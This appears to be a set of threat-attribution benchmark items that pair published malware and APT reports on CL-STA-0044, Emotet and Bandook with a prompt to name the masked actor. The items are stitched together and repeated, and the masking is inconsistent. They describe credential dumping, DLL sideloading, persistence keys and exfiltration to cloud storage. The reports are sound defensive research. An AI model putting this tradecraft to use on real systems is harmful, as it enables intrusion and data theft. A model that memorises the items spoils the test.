to Consent.exe, which is a Windows binary that the file metadata identifies as “Consent UI for administrative applications.” Functionality component capabilities include the following: Executing commands File system interaction Downloading and uploading files Keylogging Screen capturing Figure 9 illustrates the process tree for the ToneShell backdoor. Image 9 is a diagram of the ToneShell process tree. The process goes from persistence to networking to functionality. Figure 9. ToneShell process tree. Web Shells In addition to maintaining access to victim environments via various backdoors, in some instances, the threat actor also maintained their access via China Chopper web shells. In one instance, one of the backdoors appeared to malfunction and crash on an infected host. To overcome that, the threat actor used their web shell access to troubleshoot the malfunctioning backdoors. Cobalt Strike On top of using their web shell access, the threat actor also delivered a Cobalt Strike agent to the infected host that had malfunctioning backdoors. They deployed the Cobalt Strike agent under the name libcurl.dll. The threat actor used DLL sideloading to abuse the legitimate process GUP.exe, which is a component of Notepad++, to execute the malicious agent. After deployment, the threat actor deleted the Cobalt Strike agent fairly quickly. This could imply that they only deployed the agent to gain additional functionality momentarily, to allow them to troubleshoot the malfunctioning backdoors. ShadowPad On several occasions, the threat actor behind CL-STA-0044 deployed the ShadowPad backdoor. ShadowPad is a modular malware that has been in use by multiple Chinese threat actors since at least 2015. ShadowPad is considered to be the successor of PlugX, another example of modular malware popular with Chinese threat actors. The threat actor abused DLL sideloading to load the ShadowPad module (log.dll) into a legitimate executable (BDReinit.exe), which is a component of Bitdefender Crash Handler (renamed as net.exe) security tool. When log.dll is loaded into memory, it searches for a file named log.dll.dat that is saved in the same directory to decrypt shellcode and execute the payload. As shown in Figure 10, ShadowPad then spawns and injects code into wmplayer.exe, which in turn spawns and injects code into dllhost.exe. Researchers from Elastic Security Labs have described this behavior in the past. ShadowPad creates persistence using the service DataCollectionPublisingService (DapSvc) for the renamed BDReinit.exe (net.exe). Figure 10 illustrates the process tree for ShadowPad. Image 10 is a screenshot of a diagram from Cortex XDR. The ShadowPad process tree shows the product (BitDefender), the description (BitDefender Crash Handler) and the original name (BDReinit.exe). Some information has been redacted. Figure 10. ShadowPad process tree. Highly Targeted and Intelligence-Driven Operation Targeting Specific Individuals Analysis of the threat actor’s actions suggests that the threat actor behind CL-STA-0044 has performed considerable intelligence work on their victims. In several instances, Unit 42 researchers observed threat actors using the known Lolbin utility wevtutil to gather information about specific usernames belonging to individuals who work at the victim organizations. The threat actor searched for Windows Security Log Event ID 4624, which is an event that documents successful login attempts. They also searched for Windows Security Log Event ID 4672, which is an event that documents assignments of sensitive privileges to new login sessions. The threat actor used these log events to find out which machines specific users of interest logged in to, to pinpoint hostnames of interest. The threat actor would later compromise these machines and gather sensitive data from them for exfiltration. Figure 11 shows wevtutil used to search for successful login attempts. Image 11 is a screenshot of code. This is wevtutil searching for successful login attempts. Figure 11. Wevtutil used to search for successful login attempts. Exfiltration Throughout this attack, the threat actor attempted to exfiltrate many documents and other sensitive information from the compromised machines. Before exfiltration, the threat actor used rar.exe to archive the files of interest. Figure 12 shows that, on some occasions, the threat actor searched for specific file extensions. On other occasions, they archived full directories. Image 12 is a screenshot of a diagram in Cortex XDR. It is their archive of specific file extensions. Some information has been redacted. Figure 12. Archiving specific file extensions. The threat actor used a variety of tools to initiate their exfiltration. On already compromised hosts, they used the ToneShell backdoor to execute rar.exe. To access other uncompromised hosts, they used tools like Impacket and RemCom to execute rar.exe remotely. RemCom is a remote shell or telnet replacement that lets you execute processes on remote Windows systems. On hosts of interest, the threat actor created persistence for a script that is in charge of archiving files (autorun.vbs), as shown in Figure 13. To do this, they saved the VBS script in the startup directory, which causes it to run every time the machine is turned on. This behavior could indicate the threat actor’s goal of getting a continuous flow of intelligence from the victims instead of just being a one and done operation. Image 13 is a screenshot of a diagram in Cortex XDR. It is their archive of script persistence. Some information has been redacted. Figure 13. Archiving script persistence. After archiving the files, we observed the threat actor using two exfiltration methods. The first method is uploading the files using curl and ftp to a cloud storage site named ftp.1fichier[.]com. The second method observed is uploading the archived files to Dropbox, a file hosting service as shown in Figure 14. This method of exfiltration is popular with threat actors because Dropbox the service is one people often use legitimately, making malicious activity harder to detect. Image 14 is a screenshot of many lines of code. This is how the threat actor uses data exfiltration, uploading archived files to Dropbox. Figure 14. Data exfiltration using Dropbox. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not necessarily imply a flaw or malicious quality to the legitimate product being abused. | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: An advanced persistent threat (APT) group suspected with moderate-high confidence to be [PLACEHOLDER] engaged in a number of cyberespionage intrusions targeting a government in Southeast Asia. The intrusions took place from at least the second quarter of 2021 to the third quarter of 2023. Based on our observations and analysis, the attackers gathered and exfiltrated sensitive documents and other types of files from compromised networks. CL-STA-0044 Details Reconnaissance To better understand the breached networks, the threat actor behind CL-STA-0044 scanned infected environments to find live hosts and open ports, as well as existing domain users and domain groups. We observed the adversary using several different tools to reach these goals: LadonGo: LadonGo is an open-source scanning framework that Chinese-speaking developers created. The threat actor used LadonGo to scan for live hosts and open ports using commands like smbscan, pingscan and sshscan. NBTScan: NBTScan is a program for scanning IP networks for NetBIOS name information. AdFind: AdFind is a command-line query tool that can gather information from Active Directory. The threat actor renamed the tool a.logs.As shown in Figure 2, the threat actor saved the results of AdFind to the following filenames: Domain_users_light.txt Domain_computers_light.txt Domain_groups_light.txt These filenames have only been mentioned in a GitHub page about “Penetration Testing Methodology References.” Image 2 is a screenshot of the Cortex XDR program. It is a diagram showing the prevention of AdFind attempts. Some information has been redacted. Figure 2. Prevention of AdFind attempts to dump domain users’ details. Impacket: The Impacket collection includes many tools with functions related to remote execution, Kerberos attacks, credential dumping and more. Figure 3 illustrates these commands. The threat actor used Impacket to gather information about the network, discover machines and users, and query directories on remote machines for interesting files to exfiltrate. Image 3 is a screenshot of reconnaissance commands that were run via Impacket (Python modules). There are six commands in total and some of the information has been redacted. Figure 3. Reconnaissance commands run via Impacket. Credential Stealing Unit 42 researchers observed the threat actor behind the CL-STA-0044 activity attempting to use several techniques for credential stealing to dump passwords from different hosts and the Active Directory: Hdump: The threat actor deployed and used Hdump.exe (renamed h64.exe), which is a credential stealing utility that researchers have observed Chinese threat actors using. Threat actors used Hdump to dump credentials from memory using the -a (dump all) flag. Figure 4 shows the help menu of Hdump: Image 4 is a screenshot of Hdump commands. These options include items such as print, dump user hashes, dump cache hashes and the like. Figure 4. Hdump help menu. MimiKatz: The threat actor attempted to dump the memory of lssas.exe several times, using the credential harvesting tool MimiKatz (named l.doc) to extract users’ credentials. DCSync: The threat actor attempted to use MimiKatz’s DCSync feature, which enables attackers to simulate a domain controller (DC), in the victim’s network to retrieve user credentials from the legitimate DC. They then saved the collected information to a file named log.txt. Image 5 is a screenshot of the DCSync command. Some of the information has been redacted. Figure 5. DCSync command. Stealing the Ntds.dit File: To steal Active Directory data, the threat actor used the Vssadmin tool to create a volume shadow copy of the C:\ drive on the DC. They then retrieved the Ntds.dit file from the shadow copy, as shown in Figure 6. The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, group membership and (most importantly) password hashes. The threat actor also stole the SYSTEM file containing the boot key. This key is necessary to decrypt the Ntds.dit file. Image 6 is a screenshot of commands used to steal the Ntds.dit file. There are four lines in total and some of the information has been redacted. Figure 6. Stealing the Ntds.dit file. Abusing Existing Antivirus Software We observed the threat actor behind the CL-STA-0044 activity abusing existing antivirus software in compromised environments. We spotted threat actors abusing ESET’s Remote Administrator Agent to execute commands on remote hosts and to install backdoors. They used the process ERAAgent.exe to execute BAT files with a naming pattern of C:\Windows\Temp\ra-run-command-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.bat (where xxx is replaced with random numbers and characters). These .bat files executed reconnaissance commands and wrote additional backdoors to the disk, as shown in Figure 7. The files appear to be responsible for executing commands initiated by ESET’s Run Command task. Image 7 is a screenshot of a tree diagram in Cortex XDR. Suspicious activity has been blocked. Some of the information has been redacted. Figure 7. Blocked suspicious behavior performed by ERAAgent.exe. Maintaining Access: Web Shells and Backdoors During this campaign, the threat actor behind CL-STA-0044 used several methods to maintain a foothold in compromised environments. These methods include using multiple backdoors and web shells. ToneShell Undocumented Variant One of the popular backdoors the threat actor behind CL-STA-0044 used in this campaign is an undocumented variant of a piece of malware dubbed ToneShell. Trend Micro reported that [PLACEHOLDER] has used this malware. Unlike the previously reported version of ToneShell, which uses shellcode as the payload of the malware, the new variant’s full functionality is built from three DLL components working in tandem. Each DLL component has a different purpose: Persistence component: in charge of persistence for the backdoor and dropping the other components to disk. Networking component: in charge of command and control (C2) communication. Functionality component: in charge of executing the different commands of the backdoor. Furthermore, each component of ToneShell is loaded into a different legitimate process via DLL sideloading. Internal communication between the components is done via the use of pipes. Comparing the undocumented variant with the previously reported shellcode variant as shown in Figure 8, there is a clear indication of overlap in the codebase and functionality, as well as in the strings. These strings are saved as stack strings in the shellcode variant. Image 8 is a screenshot of many lines of code. The code is color-coded with light blue, blue and green portions. The different code sections starting from the top are the ToneShell ShellCode variant, and the ToneShell DLL variant. It demonstrates there there is overlap. Figure 8. ToneShell strings overlap. The Persistence Component The persistence component (nw.dll, nw_elf.dll) is sideloaded into PwmTower.exe, a component of Trend Micro’s Password Manager, which is a known security tool. The persistence component will create a different type of persistence depending on the process’ privileges. If it has sufficient rights, the persistence component will create two types of persistence: Service named DISMsrv (Dism Images Servicing Utility Service) Scheduled task named TabletPCInputServices or TabletInputServices If it does not have sufficient rights, the persistence component will create another two types of persistence: Registry run key named TabletPCInputServices or TabletInputServices Scheduled task named TabletPCInputServices or TabletInputServices Once the persistence component is executed as a service, it drops the other components to disk and executes the networking component. The Networking Component The networking component (rw32core.dll) is sideloaded into Brcc32.exe, the resource compiler of Embarcadero, an app development tool. The networking component uses the domain www.uvfr4ep[.]com for C2 communication. Then, through the use of pipes, it communicates with the functionality component to execute commands from the C2. The Functionality Component The functionality component (secur32.dll) is sideloaded to Consent.exe, which is a Windows binary that the file metadata identifies as “Consent UI for administrative applications.” Functionality component capabilities include the following: Executing commands File system interaction Downloading and uploading files Keylogging Screen capturing Figure 9 illustrates the process tree for the ToneShell backdoor. Image 9 is a diagram of the ToneShell process tree. The process goes from persistence to networking to functionality. Figure 9. ToneShell process tree. Web Shells In addition to maintaining access to victim environments via various backdoors, in some instances, the threat actor also maintained their access via China Chopper web shells. In one instance, one of the backdoors appeared to malfunction and crash on an infected host. To overcome that, the threat actor used their web shell access to troubleshoot the malfunctioning backdoors. Cobalt Strike On top of using their web shell access, the threat actor also delivered a Cobalt Strike agent to the infected host that had malfunctioning backdoors. They deployed the Cobalt Strike agent under the name libcurl.dll. The threat actor used DLL sideloading to abuse the legitimate process GUP.exe, which is a component of Notepad++, to execute the malicious agent. After deployment, the threat actor deleted the Cobalt Strike agent fairly quickly. This could imply that they only deployed the agent to gain additional functionality momentarily, to allow them to troubleshoot the malfunctioning backdoors. ShadowPad On several occasions, the threat actor behind CL-STA-0044 deployed the ShadowPad backdoor. ShadowPad is a modular malware that has been in use by multiple Chinese threat actors since at least 2015. ShadowPad is considered to be the successor of PlugX, another example of modular malware popular with Chinese threat actors. The threat actor abused DLL sideloading to load the ShadowPad module (log.dll) into a legitimate executable (BDReinit.exe), which is a component of Bitdefender Crash Handler (renamed as net.exe) security tool. When log.dll is loaded into memory, it searches for a file named log.dll.dat that is saved in the same directory to decrypt shellcode and execute the payload. As shown in Figure 10, ShadowPad then spawns and injects code into wmplayer.exe, which in turn spawns and injects code into dllhost.exe. Researchers from Elastic Security Labs have described this behavior in the past. ShadowPad creates persistence using the service DataCollectionPublisingService (DapSvc) for the renamed BDReinit.exe (net.exe). Figure 10 illustrates the process tree for ShadowPad. Image 10 is a screenshot of a diagram from Cortex XDR. The ShadowPad process tree shows the product (BitDefender), the description (BitDefender Crash Handler) and the original name (BDReinit.exe). Some information has been redacted. Figure 10. ShadowPad process tree. Highly Targeted and Intelligence-Driven Operation Targeting Specific Individuals Analysis of the threat actor’s actions suggests that the threat actor behind CL-STA-0044 has performed considerable intelligence work on their victims. In several instances, Unit 42 researchers observed threat actors using the known Lolbin utility wevtutil to gather information about specific usernames belonging to individuals who work at the victim organizations. The threat actor searched for Windows Security Log Event ID 4624, which is an event that documents successful login attempts. They also searched for Windows Security Log Event ID 4672, which is an event that documents assignments of sensitive privileges to new login sessions. The threat actor used these log events to find out which machines specific users of interest logged in to, to pinpoint hostnames of interest. The threat actor would later compromise these machines and gather sensitive data from them for exfiltration. Figure 11 shows wevtutil used to search for successful login attempts. Image 11 is a screenshot of code. This is wevtutil searching for successful login attempts. Figure 11. Wevtutil used to search for successful login attempts. Exfiltration Throughout this attack, the threat actor attempted to exfiltrate many documents and other sensitive information from the compromised machines. Before exfiltration, the threat actor used rar.exe to archive the files of interest. Figure 12 shows that, on some occasions, the threat actor searched for specific file extensions. On other occasions, they archived full directories. Image 12 is a screenshot of a diagram in Cortex XDR. It is their archive of specific file extensions. Some information has been redacted. Figure 12. Archiving specific file extensions. The threat actor used a variety of tools to initiate their exfiltration. On already compromised hosts, they used the ToneShell backdoor to execute rar.exe. To access other uncompromised hosts, they used tools like Impacket and RemCom to execute rar.exe remotely. RemCom is a remote shell or telnet replacement that lets you execute processes on remote Windows systems. On hosts of interest, the threat actor created persistence for a script that is in charge of archiving files (autorun.vbs), as shown in Figure 13. To do this, they saved the VBS script in the startup directory, which causes it to run every time the machine is turned on. This behavior could indicate the threat actor’s goal of getting a continuous flow of intelligence from the victims instead of just being a one and done operation. Image 13 is a screenshot of a diagram in Cortex XDR. It is their archive of script persistence. Some information has been redacted. Figure 13. Archiving script persistence. After archiving the files, we observed the threat actor using two exfiltration methods. The first method is uploading the files using curl and ftp to a cloud storage site named ftp.1fichier[.]com. The second method observed is uploading the archived files to Dropbox, a file hosting service as shown in Figure 14. This method of exfiltration is popular with threat actors because Dropbox the service is one people often use legitimately, making malicious activity harder to detect. Image 14 is a screenshot of many lines of code. This is how the threat actor uses data exfiltration, uploading archived files to Dropbox. Figure 14. Data exfiltration using Dropbox. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not necessarily imply a flaw or malicious quality to the legitimate product being abused. |
https://medium.com/@zyadlzyatsoc/comprehensive-analysis-of-emotet-malware-part-1-by-zyad-elzyat-35d5cf33a3c0 | [PLACEHOLDER], a notorious name in the realm of cyber threats, has loomed large over the digital landscape since its inception in 2014. Originally identified as a banking Trojan focused on financial data theft, [PLACEHOLDER] has evolved into a highly adaptable and multifaceted malware, capable of causing widespread disruption to both individuals and organizations alike. In this comprehensive analysis, we embark on a journey into the intricate workings of [PLACEHOLDER], meticulously dissecting its tactics, functionalities, and the imminent dangers it presents. This initial segment of our analysis serves as a roadmap, outlining the key areas of exploration: Email Phishing Analysis: Delving into [PLACEHOLDER]’s deceptive strategies deployed through phishing campaigns, we scrutinize the emails crafted to entice unwitting victims, laying bare the intricacies of its social engineering tactics. Document Static and Dynamic Analysis: Employing a dual-pronged approach, we conduct static and dynamic analyses of the malicious documents disseminated by [PLACEHOLDER]. Through static analysis, we uncover insights into its structural components, while dynamic analysis reveals its behavior within controlled environments, offering invaluable insights into its modus operandi. Malware Basic Static Analysis: Shifting our focus to the heart of [PLACEHOLDER], we meticulously dissect its code through static analysis techniques. This meticulous examination unveils its inner workings, shedding light on its functionalities and potential vulnerabilities. Malware Dynamic Analysis: To gain a deeper understanding of [PLACEHOLDER]’s real-world impact, we subject it to dynamic analysis. By observing its interactions with the system and network within a simulated environment, we glean insights into its operational behavior and tactics. Email Analysis [PLACEHOLDER] primarily spreads through phishing emails. These emails often appear legitimate, containing familiar branding and enticing subjects like invoices, payment details, or shipping notifications. Clicking malicious attachments or links within these emails can infect a device with [PLACEHOLDER]. Email Contains: Three URLs: sara[.]buller@ottumwaschools[.]com (email address) management@bavarianmotorcars[.]com (email address) hxxp[://]bengalcore[.]com/Invoice-26396-reminder/ (link) Two invoices mentioned Explanation: Invoice Email: An invoice email is a standard communication between a business and a customer. It details the products or services provided, along with the amount owed. The presence of an invoice email suggests a business transaction. The email addresses (sara[.]buller@ottumwaschools[.]com and management@bavarianmotorcars[.]com) indicate communication between: Ottumwa Schools (likely a school district) and someone named Sara Buller. Bavarian Motorcars (presumably a car dealership) and their management team. I Ran The Third URL in anyrun sandbox , It appears that error content was removed , and URL Is Maliciuos , 4 Vendors Detect It “I conducted comprehensive research, including a thorough examination of MalwareURL, Virus Total and whois , to gather intelligence on potential threats. In addition, I utilized scanning tools to analyze URLs and IP addresses, identifying Indicators of Compromise (IOCs). i run the ms doc with olevba and oleid i found it malicuios and cotnain obfuscated vba code I will enable editing in the file and run FakeNet-NG and Process Explorer to monitor connections and new processes triggered by enabling the macros. I’ve identified five IP addresses that malware attempts to communicate with, I Will Scan Each One. I’ve encountered obfuscated PowerShell code within the document. To decrypt it, I’ll utilize Cyber Chef and the Power Decoder tool I Found Section Name .CRT ”The functions referenced in the .CRT section are usually written in C or C++ and are marked with specific compiler directives or attributes to ensure they are executed at the appropriate time during program startup or initialization.” When running the sample, a new program pops up, which seems like a copy of the original malware. This suggests that the malware is making copies of itself Event, \BaseNamedObjects\E689B0777 ”refers to an event object in the Windows operating system. Event objects are synchronization primitives used by programs to coordinate activities between different processes or threads. ” Mutant, \BaseNamedObjects\M689B0777 “Make Sure The Malware Run Only Once On The Machine” Section, \BaseNamedObjects\F932B6C7–3A20–46A0-B8A0–8894AA421973 Adding a random value to a registry key “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\418A073AA3BC3475” | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: [PLACEHOLDER], a notorious name in the realm of cyber threats, has loomed large over the digital landscape since its inception in 2014. Originally identified as a banking Trojan focused on financial data theft, [PLACEHOLDER] has evolved into a highly adaptable and multifaceted malware, capable of causing widespread disruption to both individuals and organizations alike. In this comprehensive analysis, we embark on a journey into the intricate workings of [PLACEHOLDER], meticulously dissecting its tactics, functionalities, and the imminent dangers it presents. This initial segment of our analysis serves as a roadmap, outlining the key areas of exploration: Email Phishing Analysis: Delving into [PLACEHOLDER]’s deceptive strategies deployed through phishing campaigns, we scrutinize the emails crafted to entice unwitting victims, laying bare the intricacies of its social engineering tactics. Document Static and Dynamic Analysis: Employing a dual-pronged approach, we conduct static and dynamic analyses of the malicious documents disseminated by [PLACEHOLDER]. Through static analysis, we uncover insights into its structural components, while dynamic analysis reveals its behavior within controlled environments, offering invaluable insights into its modus operandi. Malware Basic Static Analysis: Shifting our focus to the heart of [PLACEHOLDER], we meticulously dissect its code through static analysis techniques. This meticulous examination unveils its inner workings, shedding light on its functionalities and potential vulnerabilities. Malware Dynamic Analysis: To gain a deeper understanding of [PLACEHOLDER]’s real-world impact, we subject it to dynamic analysis. By observing its interactions with the system and network within a simulated environment, we glean insights into its operational behavior and tactics. Email Analysis [PLACEHOLDER] primarily spreads through phishing emails. These emails often appear legitimate, containing familiar branding and enticing subjects like invoices, payment details, or shipping notifications. Clicking malicious attachments or links within these emails can infect a device with [PLACEHOLDER]. Email Contains: Three URLs: sara[.]buller@ottumwaschools[.]com (email address) management@bavarianmotorcars[.]com (email address) hxxp[://]bengalcore[.]com/Invoice-26396-reminder/ (link) Two invoices mentioned Explanation: Invoice Email: An invoice email is a standard communication between a business and a customer. It details the products or services provided, along with the amount owed. The presence of an invoice email suggests a business transaction. The email addresses (sara[.]buller@ottumwaschools[.]com and management@bavarianmotorcars[.]com) indicate communication between: Ottumwa Schools (likely a school district) and someone named Sara Buller. Bavarian Motorcars (presumably a car dealership) and their management team. I Ran The Third URL in anyrun sandbox , It appears that error content was removed , and URL Is Maliciuos , 4 Vendors Detect It “I conducted comprehensive research, including a thorough examination of MalwareURL, Virus Total and whois , to gather intelligence on potential threats. In addition, I utilized scanning tools to analyze URLs and IP addresses, identifying Indicators of Compromise (IOCs). i run the ms doc with olevba and oleid i found it malicuios and cotnain obfuscated vba code I will enable editing in the file and run FakeNet-NG and Process Explorer to monitor connections and new processes triggered by enabling the macros. I’ve identified five IP addresses that malware attempts to communicate with, I Will Scan Each One. I’ve encountered obfuscated PowerShell code within the document. To decrypt it, I’ll utilize Cyber Chef and the Power Decoder tool I Found Section Name .CRT ”The functions referenced in the .CRT section are usually written in C or C++ and are marked with specific compiler directives or attributes to ensure they are executed at the appropriate time during program startup or initialization.” When running the sample, a new program pops up, which seems like a copy of the original malware. This suggests that the malware is making copies of itself Event, \BaseNamedObjects\E689B0777 ”refers to an event object in the Windows operating system. Event objects are synchronization primitives used by programs to coordinate activities between different processes or threads. ” Mutant, \BaseNamedObjects\M689B0777 “Make Sure The Malware Run Only Once On The Machine” Section, \BaseNamedObjects\F932B6C7–3A20–46A0-B8A0–8894AA421973 Adding a random value to a registry key “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\418A073AA3BC3475” |
https://www.fortinet.com/blog/threat-research/bandook-persistent-threat-that-keeps-evolving | Bandook malware is a remote access trojan that has been continuously developed since it was first detected in 2007. It has been used in various campaigns by different threat actors over the years. FortiGuard Labs identified a new Bandook variant being distributed via a PDF file this past October. This PDF file contains a shortened URL that downloads a password-protected .7z file. After the victim extracts the malware with the password in the PDF file, the malware injects its payload into msinfo32.exe. In this article, we will briefly introduce Bandook’s behavior, provide detailed information about the modified elements of this new variant, and share some examples of the mechanism of its C2 communication. Injector The injector component decrypts the payload in the resource table and injects it into msinfo32.exe. Before the injection, a registry key is created to control the behavior of the payload. The key name is the PID of msinfo32.exe, and the value contains the control code for the payload. Once executed with any argument, Bandook creates a registry key containing another control code that enables its payload to establish persistence, and it then injects the payload into a new process of msinfo32.exe. There are two registry keys, shown in Figure 1. A variant reported in 2021 required four control codes and created four processes of explorer.exe that it injected in a single execution. This new variant uses less control code and makes a more precise division of tasks. Payload Figure 2 is the overview of the payload. Once injected, the payload initializes strings for the key names of registries, flags, APIs, etc. After this, it uses the PID of the injected msinfo32.exe to find the registry key and then decodes and parses the key value to perform the task specified by the control code. Figure 3 shows the relationship between the key value and the payload’s behavior. The control codes play the same role as previous variants, but strings are used instead of numbers. The variant we found in October 2023 has two additional control codes, but its injector doesn’t create registries for them. One asks the payload to load fcd.dll, which is downloaded by another injected process and calls fcd.dll’s Init function. The other mechanism establishes persistence and executes Bandook’s copy. These unused control codes have been removed from even newer variants (430b9e91a0936978757eb8c493d06cbd2869f4e332ae00be0b759f2f229ca8ce). Of the two remaining control codes, “ACG” is the main control code for an attack, while “GUM” establishes the persistence mechanism. GUM Control Code When the control code is “GUM,” Bandook drops a copy to the SMC folder in the appdata folder as “SMC.exe” or “SMC.cpl” and creates a registry key to automatically execute the copy. There are three registry keys to run SMC.exe. Software\Microsoft\Windows\CurrentVersion\Run Key name: SMC Value: %APPDATA%\SMC\SMC.exe Software\Microsoft\Windows NT\CurrentVersion\Winlogon Key name: shell Value: explorer.exe, %APPDATA%\SMC\SMC.exe Software\Microsoft\Windows NT\CurrentVersion\Windows\ Key name: Load Value: short path of %APPDATA%\SMC\SMC.exe When the copy is SMC.cpl, the registry key and value are the following: Software\Microsoft\Windows\CurrentVersion\Run Key name: SMC Value: %windir%\System32\controll.exe %APPDATA%\SMC\SMC.cpl ACG Control Code When the control code is ACG, the payload can download files for other modules, including fcd.dll, pcd.dll, an executable file, and others. This is an optional function based on flags set when the payload initializes. The files can also be downloaded from the C2 server when necessary. If fcd.dll is downloaded, Bandook calls its functions and passes the key names of the registry key as arguments. Similarly, many registry keys store information used in other actions. An action may separated into several parts, and it’s necessary to piece all related commands and registry keys together. For example, C2 communication may use one command to write a registry key and a separate command to read it. C2 Communication First, Bandook sends victim information to its C2 server: Figure 4: Traffic capture and AES decrypted data of the victim information. Figure 4: Traffic capture and AES decrypted data of the victim information. If the C2 server is available, Bandook receives commands from the server, including *DJDSR^, @0001, @0002, and so on. While the string sequence in the newest variants reaches @0155, some are only used when sending a result to the server, and others only exist in other modules. As shown in Figure 5, the payload doesn’t use the command @0133, though it can be found in fcd.dll. Figure 5: @0133 can be found in fcd.dll. Figure 5: @0133 can be found in fcd.dll. Despite the numbering, the payload only supports 139 actions. In addition, some special commands are only sent to the server under specific conditions. Since most actions are the same as in previous variants, we will focus on communications between Bandook and the C2 server using the new commands added to the most recent variants. These actions can be roughly categorized as file manipulation, registry manipulation, download, information stealing, file execution, invocation of functions in dlls from the C2, controlling the victim’s computer, process killing, and uninstalling the malware. The data from the C2 server has the following format: {Command}~!{Arg2}~!{Arg3}~!{Arg4}~!{Arg5}~!{Arg6}~! The first argument is the command, which is necessary. Arg2 to Arg6 are optional. Below are four examples of actions that require multiple commands and actions that have complex mechanisms. This action is about file reading. If Arg3 is R, it keeps calling the Sleep function until the C2 server sends @0004 and its related arguments to Bandook. The @0004 command gives a value to determine from where to read the file or to just do nothing. Finally, Bandook sends the file specified by Arg2 to the C2 server. This action is about file writing. Similar to @0003, @0006 waits for @0007. @0007 determines how to write data from the C2 server to a local file. This action executes a Python file. The main command is @0128, which calls a ShellExecute function to run a Python file {Parent directory}\Lib\dpx.pyc with arguments Arg2~Arg6. The {Parent directory} is stored in the registry key pthma under HKCU\Software. @0126 checks pthma’s value and sends the result to the server. @0127 writes its Arg2 to pthma if fcd.dll is initialized in the victim’s computer. Additionally, some commands send special data to the server: This action monitors the victim’s screen and controls the computer. When Bandook receives this command, it overwrites the config file of Firefox pref.js with code hard-coded in the payload and disables protection mechanisms in Microsoft Edge: After this, Bandook creates a virtual desktop and assigns it to a newly created thread (Thread_Control) that establishes a new communication with the C2 server. It first sends the string AVE_MARIA, followed by another packet containing the number 1, to the server. Figure 8: The “AVE_MARIA” and number sent by Bandook. Figure 8: The “AVE_MARIA” and number sent by Bandook. If the server responds, Bandook creates another thread to keep sending screenshots to the server. This thread also sends two packets: the string AVE_MARIA and the number 0. In the meantime, Thread_Control receives coordinates and control codes from the server. These tasks include: Open the Run dialog Copy user data from Chrome to another folder and open another Chrome instance using a new directory and configurations. It uses the following command to help it run faster: cmd.exe /c start chrome.exe --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir={New folder} Copy user data to another folder and open another Firefox instance with the copied profile Execute Internet Explorer Terminate Microsoft Edge, enable its Compatibility Mode, and open another Edge instance with a new directory and configurations. It uses the following command to help it run faster: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir={New folder} Access specified windows In addition, there are three new commands compared to the 2021 variant: This writes encrypted backup URLs to the registry key kPYXM under HKCU\Software\AkZhAyV0\. When the current C2 server is unavailable, Bandook will decrypt it and try to access the URLs. The format of the decrypted data will look like this: {URL}|{URL}|{URL}| Bandook will extract URLs and try these sequentially if the previous URL is unavailable. This command asks Bandook to parse cookies from the browser specified by the C2, including Chrome, Edge, and Firefox, and save the result as Default.json in a .zip file. In the previous variant, @0140 is missing. This command asks Bandook to establish a persistence mechanism with sub_13160400, also called when the control code is GUM, as shown in Figure 9. Conclusion This article unveils new details about the C2 mechanism of this long-existing malware and the new features in its latest variant. A large number of commands for C2 communication can be found in this malware. However, the tasks performed by its payload are fewer than the number in the command. This is because multiple commands are used for a single action, some commands call functions in other modules, and some are only used to respond to the server. Though the entire system is not observed in this attack, FortiGuard will continue monitoring malware variants and provide appropriate protections. | You are given a threat report that describes a cyber incident. Any direct mentions of the threat actor group, specific campaign names, or malware names responsible have been replaced with [PLACEHOLDER]. Your task is to analyze the report and attribute the incident to a known threat actor based on the techniques, tactics, procedures (TTPs), and any other relevant information described. Please provide the name of the threat actor you believe is responsible and briefly explain your reasoning. Threat Report: Bandook malware is a remote access trojan that has been continuously developed since it was first detected in 2007. It has been used in various campaigns by different threat actors over the years. FortiGuard Labs identified a new Bandook variant being distributed via a PDF file this past October. This PDF file contains a shortened URL that downloads a password-protected .7z file. After the victim extracts the malware with the password in the PDF file, the malware injects its payload into msinfo32.exe. In this article, we will briefly introduce Bandook’s behavior, provide detailed information about the modified elements of this new variant, and share some examples of the mechanism of its C2 communication. Injector The injector component decrypts the payload in the resource table and injects it into msinfo32.exe. Before the injection, a registry key is created to control the behavior of the payload. The key name is the PID of msinfo32.exe, and the value contains the control code for the payload. Once executed with any argument, Bandook creates a registry key containing another control code that enables its payload to establish persistence, and it then injects the payload into a new process of msinfo32.exe. There are two registry keys, shown in Figure 1. A variant reported in 2021 required four control codes and created four processes of explorer.exe that it injected in a single execution. This new variant uses less control code and makes a more precise division of tasks. Payload Figure 2 is the overview of the payload. Once injected, the payload initializes strings for the key names of registries, flags, APIs, etc. After this, it uses the PID of the injected msinfo32.exe to find the registry key and then decodes and parses the key value to perform the task specified by the control code. Figure 3 shows the relationship between the key value and the payload’s behavior. The control codes play the same role as previous variants, but strings are used instead of numbers. The variant we found in October 2023 has two additional control codes, but its injector doesn’t create registries for them. One asks the payload to load fcd.dll, which is downloaded by another injected process and calls fcd.dll’s Init function. The other mechanism establishes persistence and executes Bandook’s copy. These unused control codes have been removed from even newer variants (430b9e91a0936978757eb8c493d06cbd2869f4e332ae00be0b759f2f229ca8ce). Of the two remaining control codes, “ACG” is the main control code for an attack, while “GUM” establishes the persistence mechanism. GUM Control Code When the control code is “GUM,” Bandook drops a copy to the SMC folder in the appdata folder as “SMC.exe” or “SMC.cpl” and creates a registry key to automatically execute the copy. There are three registry keys to run SMC.exe. 